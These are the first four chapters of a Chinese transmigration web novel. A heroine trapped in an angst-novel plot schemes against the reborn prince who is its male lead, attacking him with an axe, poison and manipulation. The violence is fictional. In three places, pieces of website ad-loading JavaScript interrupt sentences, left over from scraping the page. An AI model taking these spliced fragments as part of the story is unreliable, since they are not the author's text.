《虐文女主不可能是白切黑》 1. 第 1 章 夕阳西沉,金色余晖洒在田庄上。 田庄布置简单却井井有条,前面流淌着一条清澈溪水。 平日里,镇上的许多人都会来此捶洗衣物,约莫是时辰晚了,眼下没什么人,仅余下一个绰约的青色身影。 河边躺着块巨大的岩石,一名少女双腿叠坐在上面,手撑在身后,发顶缠着的青色发带随风飘动。 少女面容姣好,眼眸清亮灵动,正懒懒盯着前面的溪水,嘴里在默念着什么。 “一、二、三——” 声线清脆,随风消失。 顺着视线看去,不远处正漂来个模糊影子,再细看,竟是个受了重伤的男子。那人肩上划开多道大小不一的伤口,血肉模糊,但露出的脸庞却是意外俊美。 终于来了。 沈流筝长了双好看的杏眼,细长浓密的睫毛在眼底洒下一片阴翳,隐约显出几分阴沉,与乖巧甜美的面容截然不符。 忽然,眼前闪出冰冷的机械面板。 【请宿主救人。】 沈流筝抬头看着,瞧着这几个金光闪闪的大字,忽地笑出声来。 她眉眼弯弯:“救,自然要救的,京师来的贵皇子受了伤,我怎么能袖手旁观,见死不救呢……” 在这刚入秋的时节,忽地吹起一股凉意,若是有旁人在,定然也觉得阴恻恻的。 溪水泡着的男子被卡在石块之间,肩头插着根断箭,正渗出殷红血丝。走近瞧,伤势远比想得更严重。 沈流筝站在溪水边,眼睛稍眯,单手提起裙摆,抬起脚尖抵上男子的腰,猛地用力,将人整个翻了过来。 动作一气呵成。 只见那人身子翻滚一圈,咕咚砸在锋利岩石角上,呛了满脸水渍。大抵是牵扯了身体伤口,男子忍不住发出一声闷哼,眉头紧紧皱起。 浑身湿透,冰冷衣衫贴在肌肤上,嘴唇冻得发紫苍白,没有丁点血色。 人是还活着,可眼下急需救治。 瞧清楚书中男主的相貌,沈流筝眼神玩味,幽幽叹息一声:“仗义出手,我可真是个大好人。” 而在她脚边,昏迷中的萧时寂头脑混沌,对眼下发生的事情一无所知。 感受到被人翻来踹去的动静,萧时寂挣扎着想要睁眼看个清楚。下一刻,身体传来股灼烧感,像是被拖在地上前行,疼痛难忍,很快,再次陷入黑暗之中。 过了许久,等再一次恢复意识,耳边传来女子的脚步声。 萧时寂有些茫然,他好像做了一个很长的梦,但那梦境太过真实,就像是曾发生过的。如果不是梦境,那便是他又回来了。 他重生了。 萧时寂将未来要发生的事情牢记在心。 他动弹身体,背部的疼痛感提醒他这是躺在一张硬床板上。 耳边的脚步声越发清晰。 萧时寂挣扎着坐起身,一把巨大锋利的斧头直直劈来。他眸中满是震惊,撑着浑身是伤的身子,全靠本能闪躲。 好险!差一点就砍在身上。 斧头落点离他有一段距离,但炸起的碎屑溅到脸颊,血迹点点。 萧时寂心跳如雷,又惊又怒看向动手之人,可等看清那张熟悉又陌生的脸,彻底愣住了。 这是……流筝? 这是怎么回事? 沈流筝没理会萧时寂的惊诧,将卡在床前的斧头重新拔出来,再次挥动砍下去,可斧头还是落在了错误的位置,伤不到萧时寂分毫。 沈流筝微微眯眼,这斧头大概是没长眼,明明是朝着人砍下去的。 落点就离谱。 萧时寂喉结滚动,但因着脑海中的记忆,眼前之人对他意义重大。萧时寂褪去眸底浮现的狠戾,转瞬化成疑惑。 他不解沈流筝为何会这样做,她明明应该是把自己救下,悉心呵护照料才是。就如同前世一般温情。 但为何、为何眼下会是这样的场景? 流筝她拿一把斧头,这是要做什么? 忽然,两人上空浮现一行字,可只有沈流筝看得到。 【宿主不可以抹杀男主。】 萧时寂嗓子受了伤,想说什么,但张口发出的是沙沙模糊声。 沈流筝收回视线,唇角带上笑意,接下来的一番变脸堪称奇迹,亮亮的眼眸弯起:“公子莫怕,我见这块床板太旧了,准备劈来做副新桌椅,没想到公子竟然醒了。只是手里的斧头太旧了,劈不动。” 说着摇头叹息,颇是可惜。 当然可惜,可惜没能把男主解决掉,破坏剧情的发展。 听完沈流筝的解释,萧时寂松了一口气,有些怔愣点点头。 原来如此。 也定是如此! 他就知道流筝不会伤害自己,就算行为举止与之前有所不同,也应当是重来一世,许多事有了变动。 无碍,只要还是按照之前的事情发展即可。 属于他的一切,这一世他依旧会慢慢拿回来。 萧时寂看着眼前人,想到她再一次挽救濒危重伤的自己,心底拂起柔柔涟漪。虽然这张脸已经看过无数遍,他却仍然像上一世初见的心动。 萧时寂眼含柔情。 沈流筝却对这股凝视感到恶心。 萧时寂察觉失态,摇头试图清醒。 流筝没有前世的记忆,定然还不知道未来会发生什么。切不可冲动行事,莫要惊吓到她。况且,眼下也不是想这些的时候。 抬眼之际,萧时寂在她眸中仿佛看到了冰冷,那眼神就如同看死人般,幽深无情。 可只是一瞬,便再也不见。 萧时寂怔愣,随后抬手捏住额角长叹口气,看来这次伤势不轻,连看东西都恍惚了。他忍不住苦笑,流筝怎会露出与追杀之人一样的眼神,善良的流筝定不会如此。 若真的想害自己,斧头直接落在他头颅上便是,又何须两次下手都避开。 笃定是他看错了。 沈流筝起身离开,再回来手里多了杯温热茶水,柔声道:“想必公子口渴了,我方才去倒了杯茶水,公子喝下去压压惊吧。” 萧时寂心底升起一股暖意:“多谢……姑娘。” 萧时寂可谓是完全放心,将茶水饮了个精光,收起茶盏发现对面之人正看着自己。 沈流筝坐在对面单手托腮,青色发带微微吹动,发顶只有根素色簪子。她稍稍歪头盯了良久,浓长的睫毛眨了眨。 萧时寂愣住少许,连忙低头看自己的模样,想着是否哪里有不妥,才让流筝有这幅神情。 窗外风声吹过,屋檐铃铛叮铃作响。 屋内的一切没有变化。 萧时寂还安然无恙坐在对面。 沈流筝眸中笑意更浓,声音清脆:“好了,公子歇息吧,有什么需要叫我就好。” 萧时寂点头闷声回:“嗯……萧某多谢姑娘。” 沈流筝转身的瞬间,含笑的眼眸立即冷下来,变了脸色。 原来下毒也没用,果然男主一时是杀不死的。 沈流筝刚走出门外,浑身便泛起密密麻麻的痛感,不受控制,抬手扶上门框才不至于跌倒。 【再次警告:宿主不可以抹杀男主。】 上空冷冰冰的无情大字闪着金光,是警告,也是惩罚。 惩罚她不按照剧情走,妄想伤害男主。 沈流筝忽地咧开唇角,唇边笑意越发明显,隐约透出几 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 丝莫名的疯狂。 汗珠顺着脸颊滑落,鬓边缠绕湿透的发丝,她忍着剧痛走到房间,关上门后落锁,整个人跌倒在地,暂时晕了过去。 就只有这些能耐吗? 想要掌控自己,那便来啊。 杀死他! 她一定会杀死他! 两个房间的人都陷进黑暗,田庄重归平静。 …… 等沈流筝再次醒来已是次日清晨,推开门窗,看到萧时寂正从另一间房走出。他身上的伤势减轻许多,脸色恢复红润。 果然啊,男主就是不一样。 受了那么严重的伤也能在短时间内恢复。 萧时寂四处打量田庄的环境,听到动静看过来,心下一松,可想到什么后神色羞愧,道:“姑娘,请问此处可有什么吃食,我……” 话还没说完,腹部传来咕咕声。 他自遇袭以来,已经一天一夜不曾进食,饥肠辘辘,只好主动起身找些吃的。 萧时寂脸色泛红,略显尴尬。 沈流筝一脸了然:“公子请跟我来,保证解了公子眼下难题。” 沈流筝走向角落的厨房,清晨的熹微洒在她的肩上,微风拂动发丝。 萧时寂仿佛看到了前世的场景,等反应过来弯起唇角,抬脚跟上。 之后的几日,两人在田庄上度过了平静时光,萧时寂伤势即将痊愈,也趁机摸清田庄情况。 正如上一世所见,此时的沈家将沈流筝放逐田庄,每个月只派府上的李嬷嬷送些必需品,任由沈流筝自生自灭。 沈府之人着实可憎。 想到这里,萧时寂眼中多了疼惜。 而当事人呢? 沈流筝全然没空理会萧时寂的胡思乱想,只是有空便磨一磨锋利的斧头,还有瞧见人便笑得甜甜的,看起来毫无攻击力。 萧时寂瞧见过几次,疑惑不解。 难不成这斧头救过她的命? 为何如此爱不释手? 萧时寂摇头,忽然听的一声叹息。只见沈流筝放下斧头,仰头叹气,眉头紧锁愁容尽显,明显藏有心事。 萧时寂走过去:“沈姑娘,可是遇到了什么烦心事,需要萧某帮忙?” 沈流筝:“不必麻烦萧公子。” 萧时寂:“沈姑娘尽管讲。” 沈流筝不再推脱,将事情原委用几句话讲了个清楚。 用她的话来说,此处虽地段僻静,但也有田庄恶霸,隔一段时日路过每家每户都要抢走些东西。尤其见沈流筝孤女一身,气焰更是嚣张,搬走了仅有的贵重物品。 算着时间,今天又要上门了。 “岂有此理,竟有如此恶霸行径,胆敢视大周律法为无物。”萧时寂惊诧竟有这样的事情发生,气愤不已,柔声安慰:“沈姑娘莫怕,今日有我在,不会再由旁人欺负你。” 沈流筝睁着圆圆的眼睛,无辜点头。 只是萧时寂忘了想,上一世不曾有这样的事情发生,或许是沈流筝不曾对他提及罢。 不等他细想,外头气势汹汹冲进来几名壮汉。 手拿刀斧,肌肉纵横,只是脸上多少都挂了点伤,看起来竟眼含委曲。瞧见躲在萧时寂后面歪头含笑的少女,再也忍不住发出怒吼。 带头壮汉拿着砍刀的手不停颤抖:“你!你!我与你无冤无仇,你竟如此欺辱小爷我,小爷我今日不取你狗命,誓不为人!啊啊啊啊——”说着怒吼朝两人冲过来。 这份怒吼充斥复仇怨愤。 萧时寂拖着还没好全的身子挡在前面。而沈流筝呢,则轻轻退后一步,抱臂看着眼前的好戏。 我杀不了的人,难道别人还动不了吗? 2. 第 2 章 领头壮汉打不过萧时寂,只咬着牙恶狠狠看着沈流筝:“只会躲在旁人身后,如此行径,哪里是君子所为?” 哦呦,还拽起文词了。 沈流筝躲在萧时寂身后,津津有味看着两方打斗。而领头壮汉额头冒汗,累得气喘吁吁,想着再这么下去定是报不了仇,干脆用言语激怒她。 只要给他机会,定报了无故殴打之仇。 谁料沈流筝根本不吃这一套。 她从萧时寂身后探出头来,笑着问:“你什么时候听到,我说我是君子啦?你有文化,君子给你当喽。” “你、你你你……”壮汉被气成结巴。 萧时寂有些意外,扭头看他,被她脸上的狡黠神色吸引。 原来流筝还有这幅模样。 着实也是……很好的。 领头壮汉无奈指着萧时寂:“你、你快点让开,我跟她的仇,与你无关!你也不像是个坏人,我劝你还是不要多管闲事。” 沈流筝挑挑眉。 不愿牵扯无辜,很好。 可是,她偏偏就要把萧时寂拉进来。 趁着萧时寂阻拦对方时,沈流筝假装冲过去相助,却不小心被对方挟持。 摸不着头脑的领头壮汉:“……” 奇怪,好像嗅到了阴谋的味道。 萧时寂满眼自责,顿时停手。 怪他伤势没彻底痊愈,对付几个区区小贼都费力,还让流筝陷入危险之中。 萧时寂阴沉脸色:“放了她。” 他周身升起一股压迫气势,领头壮汉有些手软,握着匕首的手心直冒汗。 沈流筝忽然出声:“萧公子不用管我,这些贼人为非作歹,无恶不作,我不愿意你为了我受伤。你救我,他们必定会让你做出伤害自己的事。” 领头壮汉眼睛一亮。 对啊,还有这恶毒的法子。 不过这话怎么越说越不对劲,为非作歹,无恶不作,这说的是他们吗?这明明是她自己才对啊! 他前几日在河边散心,无缘无故受了一顿打,还留下话说,想报仇就今天来。 今天来了,却是这幅场景。 她就是小人!卑鄙无耻的小人! 领头壮汉激动气愤,指着萧时寂:“你!现在你离开,我便只找她一人解决恩怨!若是你还要苦苦纠缠,除非你捅自己一刀,你做得到吗?” “做不到就别碍事……” “一言为定!” 还不等领头壮汉说完,萧时寂已经答应,掏出锋利的匕首插进胸口。 原本愈合的伤口再次崩开,鲜红血迹刺痛双目。 这时候被挟持的沈流筝才后知后觉,喊道:“萧公子不要这样做!” 领头壮汉手里的匕首都吓掉了。 神经……太神经了…… 领头壮汉再不走就要裂开了,于是带着一群小弟仓皇逃窜。 萧时寂看着安然无恙的沈流筝,欣慰一笑:“若是还有机会,姑娘可否想要知晓我的名字?” 上一世,流筝知道了他的名字,整个人欣喜雀跃,不是因为身份地位,而仅仅是因为眼前人时心仪之人。 他说完话便晕了过去。 沈流筝收起痛惜神情,伸手放在他脸上。 还有气息。 沈流筝抬头看天。 对手太弱,也是没办法的事。 …… 几日之后,萧时寂要离开:“沈姑娘,萧某先告辞。若是有缘,我相信我与姑娘不久后便会相见。” 他心底有了规划。 沈流筝:“好,有缘再见。” 萧时寂没看到预计的不舍神情,脱口而出:“姑娘,我、我其实……” 沈流筝杏眼懵懂:“嗯?萧公子想说什么?” 萧时寂冷静之后还是没说,若是贸然提及上一世,旁人必定以为他是个疯子,最终不再开口,满眼不舍地离开。 萧时寂前脚刚走出院子,系统面板就来提示了。 【请宿主做好回京准备。】 系统完全按照书中的重点剧情走,可每次还要搞这些友情提示。 入秋时节,沈流筝瞧着泛黄树叶,悠悠落到地上。 起风了。 …… 不出半月,沈家就派人专程来接她。 刘妈妈眼睛滴溜溜地转,瞧着面容甜美和善的沈流筝,嘴巴快要撇到天上去。 昨夜夫人不知怎么的,说要来庄子把人接回去,还得今天就接到府上,累得她一路奔波,腰现在还疼着。 也罢,就眼前人这副容易被骗的样子,就算回到沈府也是被夫人收拾,到时候有她好果子吃。 沈流筝像是不知道她心里所想,笑意盈盈:“刘妈妈稍等片刻,我去收拾几样东西带回府里。” 刘妈妈差点笑出声来,左瞧右瞧,稀罕这破庄子能有啥值得带走的。 可等带走的东西有一天鞭打在她身上,刘妈妈才彻底不敢笑了。 车马快走到沈府时,刘妈妈收到夫人口信,于是站在岔路口指挥着车夫,要从侧门进。 “等等。” 车帘掀开,露出清澈杏眼,眸底像是带着讥讽嘲弄:“刘妈妈,父亲召我回来,不让我从正门回府,这是不愿意见我?或是有人自作主张?罢了,若是父亲不愿,那便把我送回庄子吧,免得他老人家心烦。” “啊……这?”刘妈妈愣住片刻,“不不,老爷不是那个意思,三小姐可切莫这么想。” “我生性便好多想,看来我还是不该回来,父亲他竟还是这般……”沈流筝演得很开心,接着开始咳嗽起来。 周围路过的人都投来视线,好奇发生了何事。 刘妈妈犯难,不能再耽搁下去。 夫人叫人回来却一脸不情愿,显然是老爷的吩咐。万一她为此坏了事,真没把人接回来,那就糟糕了,到那时受罚的定然还是自己。 那听老爷的还是夫人的? 刘妈妈一咬牙:“走正门!” 走出马车,看着与书中描述一致的沈府,沈流筝不禁扬起唇角。 她回来了。 虐文,不就是让她来虐别人的吗? 刘妈妈偷偷探出头,时刻注意厅房的动静。忽然,一个瓷器杯盏摔了出来,砸在地上溅起碎渣,刘妈妈吓得跳起来。 屋里头响起夫人的声音,尖锐难听:“去,把睿哥儿接过来。” 刘妈妈最是熟知夫人的性子,低着头怯声道:“夫人,人、人接回来了。” 夫人抬头用手帕擦了擦,坐的更端正。她视线上下打量:“呦,原来是流筝回来了,这么多年不见,没想到出落得这般标志。” 夫人看到沈流筝,先是一愣,随后眼中闪过愤恨。这与她死去的娘长得一模一样,只是眉梢间多了几股清冷感。 可一笑起来,又如清冷如冰雪消融,甜美动人。 至于脾性,不知道是不是也随了去。 沈流筝看着她微微一笑,并不开口。 夫人脸色有些挂不住,这是几个意思,不应该赶紧上来敬茶吗? 旁边的刘妈妈小声道:“夫人,她在庄子里待惯了,不懂这些礼数,夫人不要动怒,万一老爷回来……” “老爷老爷,老爷不在提什么老爷!” 提到老爷,夫人怒火上来了。也不知道老爷发了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 什么疯,十万火急要她把人带回来安置好。她瞧着中间的人,心中升起恶趣味。 既然老爷人还没回来,那便是她做主了。 夫人清清嗓子,端起茶杯,一脸关切说道:“既然流筝你回来了,那以后就住在西苑,我一会儿派人去收拾。” 沈流筝把四周打量完,目光终于落到她身上,一张口便把人要气昏过去:“郭姨娘,让您女儿把我的海棠苑让出来。” 什么? 郭夫人一口茶水没咽下去,不敢相信自己的耳朵,愣愣地问身旁的刘妈妈。“她方才说什么?” “啊……这、这?”刘妈妈语塞。 这称呼多少年没人叫过了。 周身婢女都把头低下去。 “你叫我什么?” “从前我便是这么叫你的。怎么,我叫的有问题吗?自从你伺候我母亲时,我对你便一直是这个称呼,难不成姨娘糊涂了,不记得往事罢。” 刘妈妈眼睛瞪得像铜铃,急忙打圆场:“哎呀,三小姐有所不知。姨娘、啊不,夫人早就是沈府的夫人了,切记以后不可再叫。” “哦。”沈流筝一脸了然,笑了笑道:“好的,郭姨娘。哦,还有,我方才说的院子,限你们今日收拾好,我今日便要住。” 过分!过分至极! 夫人捏紧拳头:“你刚回来,还没熟悉家里情况,做事呢,不要太过分了!” 她本想着给沈流筝西苑住就不错了,谁曾想竟敢狮子大开口。 沈流筝眼神无辜:“这怎么就过分了?我离开沈府去庄子那天,你们就鸠占鹊巢,着急忙慌地搬进我的院落,怎么,我人都被你们请回来了,我的东西还要占着吗?若是你这么想,那还有更过分的。” 郭夫人一拍桌案,手心彻底红透:“你,你你你给我滚回庄子。” 这时,门外有人进来,见到郭夫人胸口起伏不定,气急败坏的模样,脸色瞬间阴沉下来,眉头皱成川字。 “成何体统!” 郭夫人声音有些无措:“老爷……”声音很快染上哭腔,急忙拿帕子擦拭眼泪。 沈明礼没理会,而是打量起坐着的沈流筝。眼前的女儿多年未见,全然不似想象中的怯弱,而是灵动机敏。 看来性情变化不小。 沈明礼神色稍霁,声音放轻:“流筝,这些年你受委屈了。来,坐到爹爹身边来。” 郭姨娘有些心虚,方才想说的话噎在嘴里。 为何老爷这般客气? 沈流筝配合垂眼:“不委屈,只是刚进府,郭姨娘便让我走侧门,现在又不愿把我的房间让出来。我、我只是说了几句,便是眼下这样子了。” “父亲,我想我还是直接回庄子去吧。” 郭姨娘? 沈明礼听到这话觉得有点不妥,怎么说都已经扶正了,但现在懒得想这些。 而一旁郭姨娘瞪大双眼,没想到沈流筝上来便是告状,本以为老爷会教训她,结果却是教训自己。 “竟有此事?夫人,此事你做的不妥。我让你将流筝接回,是要安置妥当,不可怠慢。那间房间本就是流筝的,你便还给她罢。”沈明礼稍顿,“其余诸事,你也要悉心照料。” 郭姨娘擦泪的手帕不自觉滑落。 老爷这、这这究竟是怎么了? 门外传来男童跑到的声音,进门一把抱住沈明礼的大腿,甜甜唤声“爹爹”。 沈明礼真心实意地笑了。 睿哥儿是二房独子,也是沈府的小少爷,深受宠爱,平日里骄纵惯了。突然间,可突然间,他冲向坐着的沈流筝,大叫着:“你这个坏姐姐,你欺负母亲,我打死你打死你。” 3. 第 3 章 沈流筝自认为是个好相处的人,但实在受不了找死的人。她神色平淡,但脚上功夫没忘,直接把人一脚踹飞。 随着一声大叫,睿哥儿额头磕到桌凳腿上,瞬间青紫,哭声响彻整个厅房。 郭姨娘傻了,所有人都傻了。 二房最金贵的小少爷就这样被欺负了? 所有人都在等着看沈明礼会怎么做,他不动,其他人也不敢动。 “睿哥儿!” 郭姨娘扑在地上,把哭得不成样子的睿哥儿抱在怀里,指着沈流筝骂道:“沈流筝,你简直恶毒至极!睿哥儿是你的胞弟,你竟然如此待他!” 沈流筝垂眼,轻拂下衣袖,并不理会。 沈明礼只静静看着她。 沈流筝说出口的话漫不经心:“我并非有意。只是我受不了别人碰我,若是碰到我,我便控制不住。父亲……你也认为我有错?” “老爷!”郭姨娘震惊这番说辞。 良久,沈明礼叹口气,吩咐众人:“以后莫让睿哥儿再靠近流筝。若出了事,一律重罚。” 就这? 下人们面面相觑,都疑惑不已。老爷这是转了性子,为何对大娘子这么关照?但不管如何,他们只要做好分内之事就好啦,心里记下往后谁也不敢惹回来的大娘子。 郭姨娘不依不饶,丑态尽出。 父亲难得动怒,厉声喝斥:“行了,你住口罢,往后看好睿哥儿也是你的分内事!”说罢,便拂袖而去。 沈流筝满眼无辜地看向众人:“有劳诸位了,往后还请看好你们的少爷。” “你这侯府的继承人,若是再磕了碰了,会有人心疼的,再严重些比如……断了条腿,那可如何得了?” 沈流筝作势咳了几声,慢步离开。 “你敢……你敢!”郭姨娘气的晕死过去。 沈府乱成一锅粥。 …… 沈流筝原本的院落是原本夫人督工建造的,院子里栽满海棠,各处布置都可以看出母亲的爱意,温馨舒适。 窗边,海棠花飘落在青玉案上,也落在沈流筝的肩头。 婢女进来轻手轻脚,生怕扰乱这份静谧,轻声道:“娘子,老爷来了。” 三日了,沈明礼终于要道明他的目的。 沈明礼神情欲言又止。 沈流筝甜甜笑着,假装不知道此事与萧明寂有关。 沈明礼终于开口:“流筝,平阳侯府过几日会有一场赏花宴,我想着你刚来京师,有诸多不熟悉的地方,为父带着你一同前去,认识一些同龄友人,可好?” 沈流筝假装不懂问:“啊,父亲不带着妹妹去,而是要带着我吗?” 说话间皱起眉头,显得懂事乖巧。 郭姨娘为沈府二房诞下一子一女,所以名义上沈流筝还有个妹妹,名唤挽月。 沈明礼:“对,挽月刚从寺庙祈福回来,就暂时在府上休息罢。那平阳侯府,她之前是去过的。” 书中写着,沈挽月心仪平阳侯府的世子,因为这次丢掉去参宴的机会,暗自记恨上沈流筝,后面找到机会便要挖苦。 郭姨娘带着两个孩子时不时都要欺负沈流筝,因此,纵使沈流筝回到了沈府,也过得并不如意,甚至可以说是凄惨。 倒是挺符合虐文的主题。 沈流筝眉眼弯弯:“好,那我便跟父亲一同去平阳侯府。” 听到这样的回复,沈明礼悬着的心放下了。 如果能选,他其实更想带沈挽月去,可是平阳侯府夫人给沈家送了拜帖,还特意指明沈家姑娘前往。 沈家姑娘? 单单沈府二房就有两位。 沈明礼结合前几日的事情,不认为这种好事落在沈挽月的头上。 还记得那时刚刚下朝,平阳侯一路小跑追来。沈明礼意外,像平阳侯这种往日不理会他的人,竟凑上来询问沈流筝的事情。 事情太过反常,倒像是宫里有人时刻关注着。 这可把沈明礼吓一跳,连忙火急火燎把人从田庄给接回来。宫里有人想见沈流筝,他就要把握好机会。 同时,赏花宴这事传到郭姨娘的耳朵里,让她一下子回了魂。 平阳侯府要举办赏花宴,侯府夫人指明要沈家姑娘参宴。 除了挽月还能有谁,难不成让一个从田庄刚回来的人参宴? 等挽月去参宴,便能见到不少高门世家公子,等到那时,婚姻大事说不定能一并解决了。 郭姨娘这么想着,心底的怨气全消散了,连带着沈流筝也顺眼多了。 不就是一个小小的海棠苑吗? 等在宴会挑到好儿郎,要么做个侯府夫人,要么做个皇子妃,还能惦记个破落院子不成? 郭姨娘给众人发了奖赏,下人神色也都高兴,消息传遍了整个沈府,都在翘首以盼,等着去赏花宴的马车。 可等马车来,众人才傻了眼。原来沈明礼亲自来接的不是沈挽月,而是沈流筝,郭姨娘再次气晕过去。 马车上,沈流筝闭目养神,沈明礼小心翼翼试探:“流筝,你在庄子上的时候,可曾见过什么陌生男子,你可还记得那人叫什么名字?” 沈流筝点头:“有的。” 沈明礼双眼放光:“那人可有说要报恩,可曾留了姓名?” 沈流筝不隐瞒:“也有的,说过要报恩。” 话音刚落,沈明礼脸上的喜色更重,眼角皱纹都叠到一起,迫不及待问:“流筝,那人姓什么?” 若如他所愿,那升官嘉爵便触手可及。 沈流筝差点笑出声,没想到原来他相信类似的话本子,脑海中想象的画面当真是多姿多彩。 沈流筝眼睛转了转,慢悠悠道:“那人好像姓谢?又好像姓李,唉,不对……” 谢?李? 沈明礼的眉头皱起。 不对啊,宫里也没这姓氏啊。 沈明礼直接把心底的姓氏抢答道:“那人是不是姓萧?” 沈流筝愣了片刻,盯着沈明礼的双眼,良久才笑:“父亲说的对,是我记错了,那男子就是姓萧。” 沈明礼脸上喜色一闪而过,随后浮现不自然的愧疚,尤其不敢直视清冷双眸。 沈明礼浑身涌起疲惫感,正襟危坐,也闭眼不再说话。 沈流筝挑起车帘,凉意钻进车内。 街头繁华,府邸绵延,再过不久便到平阳侯府。 果然,一切还是按照书里的剧情走。萧时寂活着一日,剧情便不更改中断。 外面落叶飘零,已经到了深秋。 距离上次见到萧时寂已经过去了一个月, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 都有些迫不及待见到他了呢。 …… 宴会分男宴和女宴。 围坐在一起的少女嬉戏打闹,有人讨论新兴的话本子,也有人讨论衣裳款式,还有羞红脸的几位在讨论婚约之事。 沈流筝坐在角落,很少有人来搭话,但都心生好奇,时不时往这边瞥上几眼。 门口传来动静,沈流筝托腮看着,看清被簇拥而来的少女,忽然来了兴致。 孟朝颜,萧时寂心底的白月光。京师才女,幼时都曾在太后膝下住过一阵,与几位皇子感情甚笃,又是丞相的独女,不久后便操办盛大的及笄宴。 萧时寂因为与她的纠缠,把原主毒哑,开展虐心虐身的折磨。 孟朝颜扮演的什么角色呢? 沈流筝不愿多想。 孟朝颜察觉到这份注视,目光移来。 少女面容姣好甜美,很是陌生,但那双含笑的眼睛似乎与她的很像,但更添几分灵动。 旁边苏青青嘟囔:“这是沈家三小姐,父亲是位不起眼的吏部侍郎,听说她这是第一次来参加宴会,果然,一看就是没见识的样子。” 这番话与事实不符,女伴单纯是心里不舒服罢了。 “青青,别这么说。”孟朝颜柔声打断,向沈流筝颔首示意。 沈流筝也笑着点头。 苏青青心里不服气,瞧见比自己好看的脸什么都忘记了,不情愿快步坐到位置上。 侯府夫人来得稍迟,还没落座先拉着沈流筝的手介绍,众人吃惊,纷纷偷看孟朝颜,露出吃瓜的眼神。 孟朝颜与萧时寂的过往,已成浮云。 或许萧时寂已经疗愈好情伤,彻底走了出来。 平阳侯夫人作为萧时寂的亲姨母,对沈流筝热情的不得了,越看越喜欢,到了这时,众人多少有些反应过来。 这沈家小娘子,要做皇子妃了? 随后陆陆续续与沈流筝打起招呼来。 夜色渐晚,侯府夫人领着众人来看烟火。与此同时,平阳侯领着其余人汇合。 高台之上,晚风吹拂。 众人仰头看烟火,沈流筝的注意力却在远处。 侯府角落有一座藏书阁,那里是萧时寂与平阳侯议事之地,也是重要手卷藏匿的地方。 沈流筝默默记下路线。 头顶烟火猛然炸开,沈流筝仰头,脖颈细腻如瓷,眼底波光流转。 远处的视线注视良久,沈流筝终于看过去。 视线交汇。 萧时寂眉眼温润。 沈流筝眨了眨眼。 萧时寂缓步上前,笑道:“沈姑娘,好久不见。” 沈流筝眉眼弯弯:“嗯,自从田庄分别,已有一月不见。” 萧时寂没想到流筝能记得这么详细,心底涌起复杂情愫:“难为沈姑娘记得这么清楚。” 沈流筝的注视毫无掩饰,直直盯着萧时寂看,甜甜道:“关于你的事,当然要记牢一些。” 手刃你,一刻也不能忘。 萧时寂觉得沈流筝变了,但说不上来哪里变了,现在这样也很好。他自然猜不透沈流筝所想,听了这话,只当是女子感情的真诚流露。 很快,他白皙的面容爬上红晕,耳朵红透,隐在昏暗夜色中,声音更温柔:“流筝……” 4. 第 4 章 旁人看到这一幕,都为之诧异。 不远处平阳侯夫人却满眼笑意,自从丞相府与大皇子定下婚约,她便很少见到萧时寂笑,总是会心疼这个侄子。 眉间阴郁散去,又恢复恣意少年模样。 沈流筝再次仰头,问:“京师的烟火可真好看,大家都很喜欢,萧公子从前也经常欣赏这么绚丽的烟火吗?” 萧时寂看了眼远处,孟朝颜目光直直盯着他,眼中有愧疚,也有隐隐不甘。 萧时寂猛地移开眼。 “从前的再好看也都散落不见,如果有幸,往后的每年我可以陪沈姑娘一起看烟火。” 他要与从前一刀两断。 孟朝颜眼中含泪,仰头倔强地不让泪水落下:“原来他还在生我的气。” 苏青青想安慰,却不知道该怎么开口,半晌,捏了捏手里帕子道:“我瞧着七皇子与身旁那位,不像是第一日相识,只怕……所以朝颜,不必为此伤心不已。你现在已经有了大皇子,不用再想从前的事。” 孟朝颜闭眼:“青青说得对,只要他开心就好,毕竟是我没有遵守诺言,是我辜负了他。” 孟朝颜与大皇子订婚后,萧时寂一气之离开京师,在外受了很多伤,回来之后性情大变,不愿意理会旧人。 苏青青继续安慰:“哎呀,朝颜呢,你瞧那女子的眼睛,分明像极了你。依我看,七皇子心里还是有你的。” 孟朝颜垂泪:“不论他心里想着谁,又要做什么,只要心里不再怨我,让我做什么都可以。” 苏青青拿出帕子给孟朝颜擦眼泪,眼睛恶狠狠瞪向沈流筝。 沈流筝恍若未闻,只朝她甜甜笑,无声说了句:“真是般配。” 萧时寂和孟朝颜两人站在一起,单看样貌就称得上神仙眷侣。 只是两人之间的误会纠缠不断,将各种灾祸殃及沈流筝身上。 不管是毒哑的嗓子,还有饱受的委屈,将来她统统都是要还回去的。 …… 赏花宴来的宾客众多,好几位都是宫里来的。一个不留神,萧时寂便瞧不见沈流筝人影。 “流筝?”萧时寂轻声呼喊,但没有回应。 这时手下传话,说是有人求见。 “何人?” “回殿下,是沈侍郎,也就是沈姑娘的父亲。” 沈明礼方才在角落时刻观察两人的动静,看来七皇子是真的对沈流筝有意。 好啊。 有意好啊。 沈明礼脚步还是有些踌躇胆怯,从前也没跟皇子说过话,只怕招来厌恶。 萧时寂的语气算不得友善,淡淡道:“沈侍郎找我?” 沈明礼躬身拜见,紧张并快乐着:“微臣、微臣见过七皇子殿下。” “不必多礼。” 萧时寂有些不耐烦,等着他下面的话。 “微臣……”沈明礼被盯得心里发毛,蹦出的话更是结结巴巴,“啊,小女流筝与殿下相识。” 这下子直接把沈流筝搬了出来。 “流筝此时在何处?” “啊?” 沈明礼被问懵了,方才不还是跟眼前人站在一起,现在突然不见了?但并没留下只言片语,他是真不知道。 沈明礼略尴尬:“微臣不知……” 萧时寂跨过他,临走还留了句“侍郎多用心,替我照顾好流筝。” 沈明礼擦了擦额角冷汗:“自然,自然……” 萧时寂因为知晓沈流筝在沈府的遭遇,对沈明礼并无好感。但当事人不知晓,只觉得皇子不是好相与的。 派人找了一圈还是没找见,萧时寂眉头皱得更紧。 他还有旁的事。 不远处角落闪出人影,两人对视一眼,萧时寂走过去。 手下附耳轻声道:“殿下,您要我们找的地方找到了,也在那里布置了人手,您要见的人过两日就给您带来。” 话落,萧时寂神色稍霁:“好,看好他,一定把人带回来。” 此人十分重要。 宴席还未结束,萧时寂没了性质,早早离开侯府。 此时京师南郊一处府邸走水,火势升起,火光冲天。 萧时寂收到消息,心底升起不安。 这把火,比他记忆中早几日。 